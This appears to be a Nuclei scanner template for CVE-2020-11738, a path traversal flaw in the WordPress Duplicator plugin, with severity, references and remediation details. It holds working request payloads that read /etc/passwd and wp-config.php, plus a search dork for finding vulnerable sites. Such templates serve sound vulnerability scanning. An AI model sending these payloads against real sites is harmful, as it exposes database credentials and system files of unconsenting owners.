WordPress Duplicator 1.3.24 & 1.3.26 - Local File Inclusion

id: CVE-2020-11738

info:
  name: WordPress Duplicator 1.3.24 & 1.3.26 - Local File Inclusion
  author: dwisiswant0
  severity: high
  description: |
    WordPress Duplicator 1.3.24 & 1.3.26 are vulnerable to local file inclusion vulnerabilities that could allow attackers to download arbitrary files, such as the wp-config.php file. According to the vendor, the vulnerability was only in two
    versions v1.3.24 and v1.3.26, the vulnerability wasn't
    present in versions 1.3.22 and before.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation.
  remediation: |
    Update the WordPress Duplicator plugin to the latest version (1.3.27 or higher) to mitigate the vulnerability.
  reference:
    - https://www.tenable.com/blog/duplicator-wordpress-plugin-vulnerability-exploited-in-the-wild
    - https://snapcreek.com/duplicator/docs/changelog/?lite
    - https://www.wordfence.com/blog/2020/02/active-attack-on-recently-patched-duplicator-plugin-vulnerability-affects-over-1-million-sites/
    - http://packetstormsecurity.com/files/160621/WordPress-Duplicator-1.3.26-Directory-Traversal-File-Read.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11738
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-11738
    cwe-id: CWE-22
    epss-score: 0.97323
    epss-percentile: 0.99872
    cpe: cpe:2.3:a:snapcreek:duplicator:*:*:*:*:lite:wordpress:*:*
  metadata:
    max-request: 2
    vendor: snapcreek
    product: duplicator
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/duplicator"
  tags: cve,cve2020,kev,tenable,packetstorm,wordpress,wp-plugin,lfi,snapcreek

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php"

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - "File Transfer"
          - "application/octet-stream"
          - "attachment; filename=\"(wp-config\\.php|passwd)\""
        condition: and

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "define\\('DB_(NAME|USER|PASSWORD|HOST|CHARSET|COLLATE)'"
        condition: or

      - type: status
        status:
          - 200
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